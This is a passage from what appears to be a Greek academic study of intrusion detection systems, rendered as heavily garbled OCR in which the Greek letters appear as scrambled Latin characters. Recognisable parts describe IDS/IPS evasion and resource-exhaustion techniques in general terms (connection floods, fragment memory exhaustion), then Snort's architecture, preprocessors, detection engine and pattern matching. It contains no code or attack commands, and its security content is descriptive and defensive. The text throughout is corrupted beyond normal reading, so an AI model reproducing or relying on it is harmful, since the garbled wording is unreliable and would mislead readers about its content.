Kavovev mov ypnowponotel éva IDS/IPS, eivor oe 0éom vo mpayuatonomcel emfécelg ot
OTO1EC TTOPOAO TTOV AVIXVEDOVTUL, TOVG OTOdIdETOL YUUNAOS Pabuoc mpotepandTnTag. AVTOC O
tonog embBéocwv eivar epapudooc Evavit tov IDSS/IPSS, 1o omoia mpokeévov va
BedTidooVV TG EMOOGELG TOVG, GTAUATOVY TNV OVAAVOT] EVOC TOKETOV HOALG dlamioTmbel OTL
ovtd topralel pe éva X aplBpd vroypaedv. ApopedVOVTaS AOmOV 0 emTIOEUEVOC
KOTOAANAQL TO TOKETOL TOV, LIWOPEL VO EVEPYOTMOINGEL EL00MOGELS TOL OPOPOVV  YidL
mopddetypo  €vav  vymid  PBabud  Opvppoticpov  IP,  amoeedyoviag TtV mOpay®yn

€100T0MCEMV TTOV B0 KOTASEIKVLAY TNV TPAYUATIKY GUOT TG ENifeoTC.

e  Koataxivopdg eykabdpopévov ovvoécemv. O emrBépevog eykadidpiel TOAAOTAES
OLVOEDELG e TOALG SLOPOPETIKO GUOTHUOTO TOV OIKTVOL GTOYOV, YWPIS VO amOGTEAAEL
TEPAUTEP® dedopéva. XTOY0G ToL givar 1 EAVTANGT T®V VITOAOYIGTIK®Y TOpv Tov IDS/IPS,
TO OTO10 TPOKELUEVOL VO LTOPEGEL VO TAPUKOAOVONGEL TIC VEEG GLUVOdOLC, Ba TpEmeL amd Eva
onueio Kol HETA va apyicel v S1oypaPEL OO TN VAU TOV TIG EYYPOUPES TOV TOAULOTEPOV
oLVOEcEDY. € OVTO TO omnueio, 0 eMTIOEUEVOC UTOPEL VO ¥PNOIUOTOCEL pio amd TIg
dwypappéves ouvdéoelg yuo va e&omolvoetl Tny enifeon tov. H viomoinon enbécewnv avton
Tov tOmov givon ekt évovtl twv IDS/IPS 1o omoio, 8 ypnoIpomolody TV TEYVIKY TOL
GLYYPOVICUOD WE T OedoUéEVA Yior TNV TTopakoAovOnoT g eykadidpvong cuvdécewv TCP,

oAAG otnpilovTol HOVO GTIV OVIXVELCT] TOV TPUTADY XEPUYIDV.

o Yyniog pvOuog ovvdéoemv. O emtiféuevog mpaypoatonotel avd SevTEPOAENTO €VOl TOAD
peydlo aplBpd TPIMADV YEWPOYIOV UE OLUPOPETIKO GLOTHHOATA TOL OKTOOVL oTdYov. O
VYNAOG puludg cVVOECEMY KOl O UEYAAOG OYKOG KIvNnomg, €VOEXETOL VO, OOMNYNOEL GTNV
amoppyr makétov and to IDS/IPS, Moyo advvapiog ene&epyasiag tovg. Ot cuvoioels TV
omoiv To TOKETOL TNG TPWANG yewpoayiog amoppipdnkav, dev  egivar dvvatd va
napakorovdnbodv amd to IDS/IPS. H viomoinor embécemv ovtod tov THTOL gival £PIKT
évavtt tov IDS/IPS 1o omoia 8 ypnOUOTOIO0V TNV TEYVIKY] TOL GLYYPOVIGHOD UE TA
dgdopéva yuo Ty TopakoAovdnorn e eykabidopvong cvvoécewv TCP, aAld otnpilovion

UOVO GTNV AViYVEVOT| TOV TPITADV YEPOYIDV.

o EE&avtinon pvijung mov (poLIeTOLEITAL Y10 TV ETAVACVVAPROAGYTI6N BpoppaTiopévev
nakétov IP. O emniBéuevog pmopel va amooteirel moAld woppdtie Opvppoticpévov
nokétov IP to omoio dev ohokAnpdvovrar noté. To IDS/IPS avoykdleton va amobnkedel OAa
OUTA TO, KOUUATLOL, OVOUEVOVTOG TNV OAOKANP®GY] TOVG. XtV Tepintmon mov e&avtinbei n

puvAun otnv omoio. amoOnkedovtor avtd to Koppdtia, to IDS/IPS apyilel va dwypdost to
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TOAOLOTEPO. KOUMATIOL TNG UVAUNG, £TCL MOTE VO VIAPYEL M OvvotdTnTo OmobrKevong
VEDTEPWV KOUUATIOV. Av 0 emtiéuevog katopdmoel vo eEavtAnoet T uviun tov IDS/IPS,
P TNV €EAVTANGT TOV YPOVIKOL TEPBmPiov oV diveTol amd TO CUGTNUG GTOYXO Yo TNV
oAoKAN PO TG TapoAaPg TV Koppatidv evog Bpvupaticpévou maxétov IP, 1ote givan og
0éom va amooteidel éva makéto 1o omoio Ba emavoacvvapporoyndel povo amd to cHoTNUL

o1oy0 Kot Oyt amd o IDS/IPS.

o  EE&avtinom pviiung mov yp1oIHonToIEITAL Y0 TNV UTOTUNRATOTOIN G TOV podv TCP. H
enifeomn avt) glval avaloyn e TPONYOVUEVNG. XTOYXOC LTINS TNG emifeomng elvor m puvnun

OV YPNCLOTOIEITAL Y10 TNV amoTUNpoTonoinon tev podv TCP.

o E&avrinen vmoloyiotikdv mopmv tov IDS/IPS. O emtibipevoc omootéddel £va moAd
peydio mAnbog maxétwv oto diktvo otoyo. H xivinon oavth pmopei va etvor té€tota mov va
O VEL AVETNPENCTO TO EXUEPOVG CUCTILATO TOV OTOTEAOVV TOVG ATOOEKTEG TMV TUKETWY,
aAld Ba 0dnyel o eE£dvtAnom TV VTOAOYIOTIK®V TOp®V ToL IDS/IPS, kebdc avtd Ba mpénet
vo e£eTAoEl TOVTOYXPOVO OO TOL TOKETOL TTOV EIGEPYOVTIOL 6T0 dikTtvo. ‘Eva IDS/IPS mov dev
glvar og Béon va emelepyaotel OAa Ta dakivovpeve Takéta, Oa mpénel gite va mapaleiyet

KATOLES OTALTNTIKEG 0€ TOPOVG AEITOVPYIEC | VO AmoppiYeL LEPOG TNG KIvNOTG.

¢ Kotaxkivopég Tov cueTipotos 61630v pe mokéto. O emtiBépevog umopel vo KATaKADoEL
éva, ovoTNUe oTdY0 e mokETA. Av avtd 0 OBETEL TOVE VTOAOYIGTIKOUG TOPOLE TOV
amottovvTal yuo. TNV eneEepyocio Tovg, Ba avaykaotel va amoppiyel éva pépoc amd avtd.
Amo Vv GAAn mhevpd, évo IDS/IPS mov Swabétel meplocdTEPOVE VTOAOYIGTIKOVS TOPOVG
glval og Béon va enefepyaotel OAU TO TAKETO, LE ATOTEAEGLO VO, VITAPEEL ATOCLYYPOVIGIOG
tov IDS/IPS. Qotdoo, givar 506K0A0 Yo ToV emTIOEUEVO VO TPOGOLOPIoEL TAL TOKETO TOL Ot
amoppLpBodv amd 10 suoTnua 6TdY0. Ot eMBEcELS aLTOD TOV TOHTOV UTOPOVY VO EKONA®BOHV
Kopiog évavtl TpmtokdAlev 6nwg To UDP, 6mov dev vdpyovv amavinoelg smPefainong

nokéTav kot 1o IDS/IPS dev givar og Béon va yvopilel av to makéto eneEepydomray.

o Experailevon advvapdv tov IDS/IPS. Ta IDS/IPS givot kou ovtd Aoyiopkd pe tig Sikég
Toug advvapiec. Emiong, to A&toupyikd GLUGTAUOTO TV VAOAOYICTM®V GTOVG OTOIOVC
gykabiocTavtal £Xouv Kol 0VTE PE TN GEPA TOVE TIG O1KES Tovg advvapies. 'Evag emtiBéuevog
oL yvopilel pia tétoto advvapio, Lropel vo TV EKUETAAAELTEL KOt VO OTOGTEILEL TOKETA TOL

omoio Ba 0dnyRoovv oe katdppevon to IDS/IPS.
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6 Snort

To Snort givon éva diktvaxd IDS/IPS avoiktod kddika g etarpeiog Sourcefire, to omoio £xel

duvaTOTNTA. VO CLAAEYEL TA OLOKIVOULEVO TOKETO, VO TO KOTAYPAPEL, VO OVIYVEDEL VITOTTEG

OpacTNPLOTNTEC KAl VO OTTOCTEAAEL EWOOTOMGELS YLO0L OVTEG O TMPAYUATIKO YpOVO, LECH dapOpOV

Kavoldv emnikowvoviag. Emmpoctétog, pmopei va ypnowonomdei ko o¢ gubdypapuog (inline)

awoOntpog IPS mpoxeévon va gival KT 1 AIOTPONN TOV OVIYVELOUEV®OV EMBEGE®Y. Zuvivdalet

™V aviyvevon PAcel vTOYPaE®V, TNV OvixveLoT| PACEL EVTOMIGUOD SOTOPOY®MY KOl TNV aviyveuon

Baoet avdivong g Kotdotaonsg TpotokoAlwv. H ypron dAmv autdv tov Tevoroyidv aviyvevonc,

o€ oLVOVOGUO LE TO TOAD peydAo TANB0G S100£01UMY VIOYPUP®V Kot TNV EVPVTATN KOWVOTNTA TOV TO

vrootnpilel, o kabiotd Eva ohokAnpopévo IDS/IPS.

H apyrrextovikn tov Snort amotedeiton amd téooepa facikd ototyeia:

To ovAréktn makétmv (sniffer), o omoiog cAAEYEL OO TO Srakivodueve TaKETA.

Tovg mpoemetepyaotic (Preprocessors), mov KAavovikomolovy TV Kivnon Kot aviyvebovv

VRONTEG OPUGTNPLOTNTEG O OTOIEG OEV UTOPOVV VO, AVIYVEVOOVV LEG® VITOYPUPDYV.

Tn pnyoviy aviyveveng (detection engine), mov aviyvevel vronteg dpaotnproTTeg PhoEt

VIOYPAPDV.

Tnv £€0do (output), n omoia avaloyo pe TIC PLOUICELS TOV CLGTAUATOC UIOPEL Vo givor M
OTOGTOAN €00MOMGE®Y  Yio TIC VTMOMTEG OpaoTNPOTNTEC M KOlL 1 KOTAYPOQPY TNG

TOPATPOVUEVTG OIKTLOKNG KIvNong.

H Ewéva 6-1 mapéyet pio dmoyn vymAod emmédon g apyLTEKTOVIKNG TOL SNOrt.

i__ﬂuleaets /

= __----'-/ — : » —_—
Network | —= | Sniffer |Preprocessor DEE'E”'““ fxlert_f.} —
— ngine 0gging
Backbone | — = g - Log Files/
- % Packets A Database

Ewova 6-1: Apyrrektovikn tov Snort [19]

O1 mpoene&epyaotéc,  unyavn avixvevong kot ot £Eodot tov Snort givatl mpocheta otoryeia (plug-

ins). e mpoyevéotepeg eKOOCELG TOL SNOt NTOV EVEOUOTOUEVO GTOV TUPNVE TOV GUGTHLOTOG, AN
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OTNV TOPELR S0 OPIGTNKOY TPOKELEVOL VO EIVOL EVKOAOTEPN 1) TPOTOMOINGT TOGO TOL TLPNVA TOV

GLOTNHOTOC 060 Kol TOL KaBe TpOcHeTOL GTOLYEIOL EEYWPIOTA.

6.1 Ecomtepiki Aettovpyio

2T1G EMOUEVESG TOPAYPAPOVE YIVETAL Uit COVTOUT TEPLYPOPT| TNE ECMTEPIKNG AEITOLPYiOG TOL Short, 1
onoia Eexvé omd o GTAS10 TG UPYIKOTOINGNG TOV GLOTHHOTOG kot cuvexilel émg v emelepyaocia

TOV TOKETOV KOl TV TOPAYOYT TOV S1pOp@v e£03@V.

6.1.1 Apywkomoinon

H apywcomoinon tov Snort meptAapfavel Tig TapaKat® TPES PAGELS:

1. Avaiven TV TOPORETPOV TNG YPOUUNS EVIOADYV, Ol omoieg mpocdopilovv Tov Tpdmo
Aertovpyiag tov. [20] And v TAn0dpa TV SoBECIUOV TAPAUETP®Y, 1| CNUOVIIKOTEPY
oLV givor 1 “-C”, n omola mwpocdiopilel T dadpopn| amobnKevong Tov apyeiov pvbuicewv,
070 0700 UTOPOVV VO TPOGOIOPICTOVV E1TE TAPAUETPOL TTOV OEV UTOPOVV VO, TPOGILOPIGTOVV
OO TN YPOUUY EVIOA®DV, €ITE TOPAUETPOL Ol OMOIES XPMOIUOTOI0VVTOL 6Tadepd pe Tov 1610

TPOTO.

2. Enetepyacia Tov oapysiov puvBpicewv. To oapyelo ovtd meprhapfdvel emmpocHetes
TOPOUETPOLS Ol OTOoieg OV TPOGdlopioTNKAV GTN YPAUUn eviordv. [leptiapfdaver peta&d
AoV kaBolikéc pvbuicelg, pvbuicelg tov mpoenelepyactdv, 0dnyieg yuoo TV €£000 TV
g1domooemv Kol ™ dadpour, amobrkevong tov vroypaeav. [20] Katd ™ ¢don avty
yivetol kot 1 avaivon TV S0EGIU®Y VTOYPAPOVY, 1| 0Ttoio, 0dNYElL o pic dEVOPOELDN doun
AVOTOPACTOCNG TOVG OV A&lOTOIEITAL Yok TNV TOYVTEPT GUYKPIOT TOV TOKETOV UE TIG
voypagéc. [19] A&iler vo onuewwbel 6Tt M apywkomoinon ot n Evapén tov Snort

EMTVYYAVETAL LOVO EPOGOV OAEG 01 O100ET1pES LTOYPAPES EIvol CLVTOKTIKE 0pBEC.

3. Ektéheon TG TEMKNG QAOG UPYLKOTOUGEMY, 1| 0noio TePapPdvel dtadkacieg dmwme M

apyonoinomn e unyavig aviyvevong kot g PipAtodrkng cuilhoyng maxkétwy peap.

6.1.2 Enelepyoacio moakéTov

Mo mv kotavonon tov tpoémov Asttovpyiag tov Snort, givol eEapeTIKa ¥PNOUO Vo TEPYPOPEL M
dradpopn eneepyaciog mov akorovdel To kdbe makéto. H dwadpoun avt Eekiva pe tn cuAloyn tov
TOKETOL. META TN GLALOYT TOVL, TO TOKETO TEPVA OTOV OMOKMOIKOTOUTH ToKET®V. MeTd TNV
OTOKMOIKOTOINGN TOV, AVTO TOPASIOETAL GTOVG TPOENEEEPYAOTEG VIO KOVOVIKOTOINGY, GTOTIGTIKY
avéAvon Kot aviyvevon VTOTT®V OPOUCTNPLOTATOV 01 0Toieg Oev givar duvatd va aviyvevBoldv pe

¥PNOT LVIOYPAP®Y. Me 10 TEPAC TNG AVAALONG TOV TPOEMEEEPYOCTAOV, TO TOKETO EIGEPYETAL OTN
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UNYov oviyveuomng yio GUYKPLOT TOL UE TIC VTOYPUPEG TOV POoPTOOnKay PACEL T®V 0dNYI®V TOV
apyeiov pvOuicewv. Telikd, To makéto amootéAletarl ota npodcdeto otoyeia (plug-ins) e£6dov yia
TNV KATOYPOEN TOV KOl TNV TOPAYOYN EOOMOCEDY. XTI, EMOUEVEG TAPAYPAPOLS YiveTow io

GUVTOLN TEPLYPOPT| VTAOV TV GTAdI®V eneéepyaciog.

6.1.2.1 XvAioyn TokETOV

Mertd v apyikomoinct tov, to Snort tifetan o Asrtovpyia enelepyaciog mokétov. o T cuAloyn
TV makETev ypnowpomotel ™ Pipriodnkm libpcap, n omoia tov emitpémel va cuAAéyel mokéta
amevbeiog amd to dikTvo aveEapTNTMG TG TAATPOPUAG TTOV Ypnotponoteital. Kotd v gubdypapun
Aerrovpyia tov (inline), to Snort £yel oe yevikéc ypaupég v id1a cupmepipopd. Qotdoo, dev vadpyet
pio avtiotoryn PiPprobnkn g libpcap n omoio. 6o pmopovoe vo a&lomomnbei aveopthtog
TAOTQOPLOG, LE amOTELEGHO VO VITooTNPileTatl avTOG 0 TPOTOG AgtTovpyiag LOVO Yo TIG TAATQOPLES

OTIG 0ToiEG umopel va extedeatel To Snort.

AveEapT TG TOL TPOTOL e TOV 0010 To SNort cuAAéyel ta Takéta omd To dikTLOo, Elval CNUUVTIKO
va onuelwdel 0tL 1 emefepyosio TV mokETwV yivetal oeplakd. [Tapdho mov yivetal mpoowpivi
OmOONKELON TV TAKETOV OV CLAAEYOVTOL OTn LVAUM, av 1 enefepyacio Tov kdbe mokETov
kabvotepet, N uvun ooty Ba yepiost kot To cvotnua Bo odnynbel oy amdppyn mokétwv. Mia
TETOl0. OmOPPIYT TOKETOV amd évav oreOntipa Snort mov Aettovpyel mabnTikd umopel vo £xel wg
OTOTELEGUO TN UN OVIYVELOT] KATOI®V TEPICTATIKMY. LTNV TEPITTMOOT TNG eLVOVYpauUNg Agttovpyiog
pmopet va mpokAnBel S10Kom SIKTLOKAV VINPECIDY, evd M Kobvotépnon oty emelepyacio TV
TOKETOV PTOopel vao TPOKOAESEL oNaVTIKEG KaBuotepnoelg ot Asttovpyia Tov diktvov. [V avtd to
AOY0 elvan amapaitntn M wEpaKoAOLONGT TOL CLGTNUATOC AELOTOWDVIAG TOV TPOEMEEEPYAOTN

perfstats, Tpokeyévov va dtamiotmhEl av 01 VIOAOYIGTIKOT TOPOL OV £ival SLOEGLOL ETAPKOVV.

6.1.2.2 AmokwdiKkomoinon

Metd, T cOAANYT TOV, TO TOKETO TUPASIOETUL GTOV UTOKMIIKOTOUTH TOKETOV. O AITOK®IUKOTOTHG
TOKET®V 6TOV 0010 TapadideTol eEQPTATL OO TNV VIOKEILEVT TEXVOAOYIN TOV EMMESOV GVVIEGLOV
oV ypnotponomdnke yia ) petddoon tov (6nwg Ethernet, 802.11, Token Ring, FDDI, Cisco HDLC,
SLIP, PPP ka1 OpenBSD’s PF). YymAdtepa tov emmédov cuvdéouov, to Snort vrootpilel v

OTOK®OIKOTOIN O™ dapOPOV TP®TOKOAAWY, 6mws To IP, To ICMP, to TCP xot 10 UDP.

Olot ot amokmdwomomnTéC Tov Short Asttovpyovv pe tov 1010 Tpodmo. Tomobetovv Ogikteg o€
GUYKEKPIUEVO oNUElD TG SOUNG TOL TOKETOL OV APOPOVV TO EMIMEDO TOV AMOKWOIKOTOOVV. XN
ovvéyewn, Poolopevol oTNV  OMOKMOIKOTOMUEVN TANPoQopia, mopadidovy TO TOKETO OF
OTOKMOOIKOTOMTEC LYNAITEPOL EMMEIOV EmG OTOV €&avTANOOVV o1 J1BECIUOL ATOKMIIKOTOTEC.
Katd ™ dudpkela avtig g dtodpopng, To Snort ehéyyel v €ykupotnTo TV dedopuévmv Tov Kabe

emmESOL Kol Snpovpyel pio 0VPE YEYOVOTMV GYETIKA LE TIG EVIOTILOUEVEG OVMUOALES.

Eykotdoraon ko Hepopotiky Melétn Zvotnudrwv Aviyvevons Eigfoiov 2elioa 87



To amotéleopa TG S1ad1KaGiog ATOK®OKOTOINoNG Elval pio TANPOC COUTANP®UEVT O TAKETOV,
N onoia mEPAAPAveL deikTeC o€ dAPOPO TUNUATE TOV OV EMTPETOVY TNV YpNyopn wpdcoPacn o€
ovtd. H doun avtn divel m duvatdtnta ota dtdpopa doptkd otoryeio. Tov Snort va aviaiidoovy
TAnpoeopieg oxeTwkd pe €vo mokéto. Tétolwo dopkd otoyelo eglvor Yoo TOPAOEYHO Ot
TPoeNELEPYUOTES, 1 UNXaV aviyvevong kot ta Tpdcbeta atoyyeia e£000v. Av évag mpoene&epyaoTng
dwbétel dedopéva ta omoio B TPémEL va To YVOOTONOWOEL GE GAAD SOMIKA GTOotKElo Tov Snort,

umopel va 1o kdvel Tpochétovtag va deikTn 6N dopun TOL TAKETOV.

6.1.2.3 Avdivon and toug TpoenelepyaoTic

Meté ™V omOK®OIKOTOINGY TOL, TO TWOKETO Topadidetol otovg mpoenebepyouotéc. Ot
npoeneepyaotég Tov Snort mpayuotomolovy pion TANOmpa AElTOVPYIRDV, OTOC KOVOVIKOTOINOT
TPOTOKOAL®V, oviyvevon PAcEL EVTOMIGHOD dtoTapaydV Kot avixvevon PAcEL ovaAVONS KATAOTUONG
TPOTOKOAA®Y. Ot duvatdtntég Tovg elval amepldpioteg, kobmdG Yoo kdbe véa Aeitovpyia mov
amouteiton propel vo dnpuovpyndet Evog véog mpoemeepyaotng i Vo ELTAOVLTICTEL £vag amd Tovg oM
vrdpyoviec. Méypt v éxdoon 2.6.0, n mpoobnkn evoc véov mpoemelepyaot AMOLTOVCE TNV
EMOVOLETAYADTTION TOV SNOIt. XT1C eMOUEVEC EKOOCELS TPOOTEONKAY 01 SUVALLKOL TPOENMEEEPYAUCTEC

L€ TOVG OTOIOVG OEV AMOLTEITAL 1] EXAVOALETAYADTTION TOV SNOrt aAAd pLovo 1 emavekKivnon tov.

AOY® NG ONUAVTIKOTNTOG TNG AELTOVPYING TOV TPOETEEEPYACTMOV YLOL TI UNYOVI OVIXVELONG, TOAAEC
PopEg ec@uipéva Bempeitar OTL 1 UNYOVN avixvevong cuumephapPavel Kot Tovg TpoenelepyaoTEc.
Etvar onuovtikd 1o va yiver oviinmtd OtL 0 0pOg Unyavi] Gviyvevons OvVOQEPETOL OTN LNYOv
aviyvevong Paoel vIoypap®dV, eV Ol TPOENEEEPYOOTEG O otnpilovial GE VLTOYPUPES Yo T
Aerrovpyia tove. Ipdkerton yio ave&aptnrta TpuRpoto KodKa, kebéva and ta omoio petayAottileto
€vtOg TOov SNOort, emidéyeTal TN O1KN TOVL TOPUUETPONOINGCT) Kol EMITEAEL SAPOPETIKY| AgrTovpYia. XTO
GUVOAO TOVC Ol TwpoemeepyaoTég oLuvePYGloviol TPOKEWWEVOD VO OVOADGOLV Kol Vol
KOVOVIKOTOUGOVY TNV TOADTAOKT TOPATPOVUEVN KIVIOT), TPOKELEVOD VO TOPEYOLY GTI U)oV
aviyvevong v Katd to duvatd amiovotepn oyn G Emmpocitag dpwme, avaivovy T SikTvak
kivnon wapootabdviag va aviyveboovy emBEGEIS Ol omoieg dgv glval dLVATO VO EVIOTIGTOVV UE TN

XPNOTM LILOYPAPDV.

Ymv Ewoéva 6-2 mopovoialetar m emefepyacio mov emidéyetoar T0 KGO mokéto oamd TOVG

npoeneepyaoTég Tov SNort, Tpv amd TV TAPAd0GT TOL GTN UNYOVH AViXVELCTC.
H mopapetponoinon kot @OpT®OT TV TPOENEEEPYOUSTAOV TPAYLATOTOLEITAL YPNGILOTOLDOVTIOG TNV
001 yioL preprocessor evtdc tov apyeiov pvOuicewv Tov Snort. H covtaén g odnylag preprocessor

€lvail TNG LOPPNG preprocessor <OVouUa TPOETECEPYOOTH™> . <EMAOYES™.
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AmokwdikoToinon Twv TTaKETWY PRIV TV

A & £
reKwelkememnTES mapddoor TOUC OTOUS TTROETTELEPYaOTES

P EmavacuvappuoAdynon rwv
(frag4) Spuppamiousvwy TakEtwy IP

To kdBz makEro sAfyyerar av sival THApa

Emibewpnon kardaraong Hiag eykatiSpupévne aovlsanc

(stream5)

ZuvapuoAoynan rwy powv TCP kar
ZuvapuoAdynon pefic mapaywyi evos weudomakETou mou

(stream5) XenaoigotTolsiTal yia TV avaiuan
TEpIENOLEVOU

Mia oculdoyd mposmedspyaocTwv
KavovikoTtrolsl Ta moAUTAoKa

MposmezpyaoTéc mpwrokoAAa Tou emimESou spapuoync
EMITESOU E@apUoyRC Kai mapdysl SidomoINgEIC yia TNV
aviyveuan mpoaTabsiulv KakKic Toug
xenong

o Ta makEra odnyolvral oTh unyavi
M".l’..lfﬂ'\"fl aviyveuang aviyveuon ¢ yia T gUyKRIOH ToUS HE Ti¢
(Baoel urroypagiv) diaBéoiusg uTToOypagEC

Ewova 6-2: Enteéepyocio TakETOV amd Tovg mpoenelepyaotéc Tov Snort
Ot mpoene&epyaotéc mov eival dtobécipotl oty ékdoor 2.9.4, givor ev cuvtopio ot akdiovbor: [20]

o Frag3. [Ipoketton yio évav mpoenelepyact 0 0TOI0C TPOYUATOTOLEL EXAVACUVOPLOAOYNON

moxétov IP, Aapfdavovtag vrdyn to Agttovpyikd choTne TOL KAOE GLGTHOTOG GTOYOV.

e Streamb. [Ipaypotonotel anotunuatonoinon powv TCP, Aapfdvovtag vedyn to Agttovpyikod

GUGTNHO TOL KAOE GLOTAATOC GTOYOV.

o sfPortscan. Xpnowomotgitar yioo v aviyvevon JSpoaoTNPOTATOV OVAYVOPIoNG Kol

xoptoypdonong diktdov.
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o Amoxkaoodwonomtiig RPC. Kavovikonoiei ta Opvppotiopéva maxéto RPC, mapdyovtag éva

eviaio maxéto. EE’ opiopod mapakoiovdel tnv kivnon otig 00pec 111 wan 32771.
e Performance Monitor. TTapdyetl 6ToTIOTIKA OXETIKA pE TIG EMSOGELG TOV Short.

e HTTP Inspect. IIpoxertan yo €vav amokmdkomonty Tov mpwtokoAlov HTTP, o omoiog
eivon og Béon va Aappdaver vdoyn Tov TIC 110TEPOTNTES TNE AELTOVPYioG TOV Web Server mov

ypnoyomoteitar amd to ke cvoTNUA GTOHYO.
o Ilpoemeiepyaotig SMTP. Eivat évag omokwdikonom g tov tpmtokdAlov SMTP.
o Ilpoemneiepyaotig POP. Eival évag amokmdikomointig Tov Tpetokoiiov POP3.
o IlpoemeEepyaotig IMAP. Eivar évog amokmdtkorontig Tov tpotokoiiov IMAP4A.
o TIpoenetepyaotig FTP/Telnet. Eival évag arokmdwkonomtng tov pomv FTP kot Telnet.

e SSH. Eivan og Béom va aviyvevoel tig e€ng embioeig: Challenge-Response Buffer Overflow,
CRC32, Secure CRT «at Protocol Mismatch.

e DNS. Amokwdikormolel Tig amovinoelg DNS kot eivar oe 0éom va aviyvevoestr Tig e€ng
embBéoeig: DNS Client RData Overflow, Obsolete Record Types ko1 Experimental Record
Types.

e SSL/TLS. H kpvmtoypaenuévn kivnon dev umopel va mopokorovdndei omd to Snort.
Evepyomowudvtog ovtdév tov mpoemeEepyaoT KOl TOPUUETPOTOIOVIOS TOV KOUTOAANA,
mapoakorovdeitan povo n xepoyio SSL g kabe chvoeong. MoOAL damiotmbel 0TL 1 chVIEDT
Ba eivor kpvmToypOENUEVY, OTOUATE M emBedpnon G Kivnong, TPOKEWEVOL Vo

amo@evyBovV Yevdhg BETIKEG E100TOMGELC.

o Ilpoemetepyaotic ARP. Amokmoikomolel to makéto ARP kot aviyvevel embéoelg oto

npwtoéxoAro ARP kat avavtiotoryieg dievBuveewmv IP kot dievdoveewv MAC.

o TIpoemetepyaostiic DCE/RPC 2. Kiprog okomdg avtod tov mpoemefepyaoth sivar 1
amotunuatonoinon  SMB  xoi  emavacvvapuoroynon DCE/RPC  mpokewévov  vao

OVTILETOTIGTOVV OOTEIPES OATOPVYNG AVIYVELGNC TOV PN GILOTOLOVV TETOIEG TEYVIKES.

o IIposmelepyaostic EvaicOntov Agdopéveov. Tlpoyuatonotel aviyvevon kot @IATPAPICLO
evaicOntov dedopévav, Onmg eivatl ot aplBpol MOTOTIKOV Kaptdv. Atvetor 1 dvvatdTnTa
XPNONG €VOG TEPLOPICUEVOL GLVIOKTIKOD Yo TOV OPIOUO VEMV KATNYOPlOV gvaicOntmv

dedopévav.

o Normalizer. Xpnowomotgital yio TNV Kavovikomoinon tov 6£douévav katd Ty voypauun

(inline) Aertovpyia.
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o [lpoemeiepyaotig SIP. Xpnowomoeitalr yio TNV OVIWWETIOMON TOV OOUVOUIDYV TOV

npoTokoAlov SIP.

o Reputation Preprocessor. Tapéyst ) oSvvatdtra ypnong blacklist kaw whitelist yia

ovyKekpipéveg dtevbovoerg IP.

o Amokmowomomtig Kot Ipoemeepyaotig GTP. ITapéyet ) duvatdTNTA OVIILETMOTIONG
eW0PoAdV g SikTLO TNAETIKOWOVIOV pESC® TOL TpwtokOAlov GTP (GPRS Tunneling

Protocol).

o TIpoermetepyaostiig Modbus. Amokmdikomotei t0 mpwtoékolho Modbus kot diver
duvatoTNTA GE EMAOYEG VTOYPAPDV VO, OTOKTHGOVV TPOGPOACT) GE GUYKEKPIUEVO TEGID TOV

TPOTOKOALOVL.

o IIpoemeEepyaostiic DNP3. Anokwdikonotel 1o mpwtdxoiro DNP3 kot diver ) dvvatdtnta

0€ EMAOYEG VIOYPOUPDOV VO, ATOKTHOOVY TPOCPACT GE CLYKEKPIUEVA TESIO TOV TPOTOKOALOVL.

6.1.2.4 A&woAdynomn amd Tn unyovn aviyvenong

Mertd 1o mépog g enelepyasiog TOL TAKETOL OO OAOVG TOVG TPOEMEEEPYAOTEG, QVTO TaPadideTUL
o unyovn aviyvevonc. H unyovn aviyvevong 8o puropovoe va Bempnbel og évag npoenelepyastic o
omoiog ekteAeitan mhvta TelevTaiog Kot oepd. O poOAOG TNG EIvOL VO GUYKPIVEL TO TAKETO E OAES TIG

VIOYPOQES TOV gival dabéaieg oto Snort.

Méypt ko tpv and v €kdoomn 2.0 tov Snort, to kdbe waKéTo cVYKPVOTAV UE OAES TIG O1OESLEG
VIOYPOQES, AElOTOIOVTOG [io dEVOPOELON doUN OVATAPACTOONG TOVG OV OMUIOLPYEITAL KoTd TNV
apykonoinomn tov cvotuatos. H dtadikacio cuykpiong cuvéyle £mg 6Tov 10 mokéTo Taiplale pe pio
Ao TIC VIOYPUPEC N €EAVTAOVVTAY O1 TPOG GVYKPIOT LIToypaeés. H dtadikacio avth av Kot oA Kot
Katavontn, Ogv Mtav iaitepa amodotikn. [Ipokeyévov vo pmopei to Snort vo yepiotel
TEPIGGOTEPEG VTOYPOUPEG Kol va  avtomeLéAdel oTIg omoutioelg SIKTO®V LYNADV  TAYLTHTOV,
avamToyOnke €voc vEog YpINyopog SuYKPITHS HOTIPwV mTov amotelel TAEOV TOV TLPAVA TNG UNYXAVIG
aviyvevonc. Avtodg 0 cLYKPITHG HOTIBOV YPNOHOTOlEl Kol TAAL TN OEVOPOELDN AVUTAPACTACT] TOV
VIOYPAP®V, OAAL OTOYEDEL OTN UEIMON TOVL OPOLOD TOV VIOYPUPOV LE TI omoiec Oa mpémel va
ovykpel to kabe mokéto. Meldvovtag Tov apliud TV VTOYPAE®V Tov Ba Tpénel va a&toloynBodv,
pewdvetar o ypovog enefepyaciag mov amoarteitol yio o Kabe makéto, emrpémoviag 6To Snort va

emelepydletol meprocOTEPO TAKETA Kot Vo XEWpifeTan SKTua DYNADY TOYLTTOV.

Mo ™ Aertovpyla To0L cuykpur potifov &govv avamtvybel Sidpopor aAiydpiBuot. Av kol Tto
OTOTELECHO TNG UNYOVIG Ovixvevong ival To 1310 Yo OA0VG TOVG aAYOPIOLOVE, T YOPOKTNPIOTIKA
eMOOCEMV S0POPOTOOVVTOL KOTA ToAD. O aAydpilBpog mov ocvvioctatal vo YpNOLLOTOLEiTOL O

mopaymyke mwepifdrlovra givar o Aho-Corasick, kafdc €yt domotmbel 611 givar owtdg mov

Eykotdoraon ko Hepopotiky Melétn Zvotnudrwv Aviyvevons Eigfoiov 2elioa 91



ovuvoLALeL pia VYA TayvNTa enelepyaciog Kat £va, KpO YpOVO apYIKOTOINoNG, UE TN HKPOTEPN

dVVATN KATUVIAMOT) VNG,

6.1.2.5 Kartoypoar| kot mopoymyn E00TOMCEDV

Metd v a&loAdynon Tov TaKETov omd T Unyovn aviyvevons, to Snort gieépyetor ot edon g
KOTaypaeng Kot topaymyng ewonomoenv. H dapopd tov vedtepov ekddcewmv Tov Snort oe oyéon
LE TIC TOAOOTEPEG €IVl TO OTL TAEOV OVTL TNG TOPAY®YNG Mg Kot udVo €100TOINGNG YO TV TPOTY
VIOYPOEN UE TNV omoio Tapldlel To maxéto (1 omoio Oa pmopovoe va, ivar pio gW0omoinon YoUUNAng
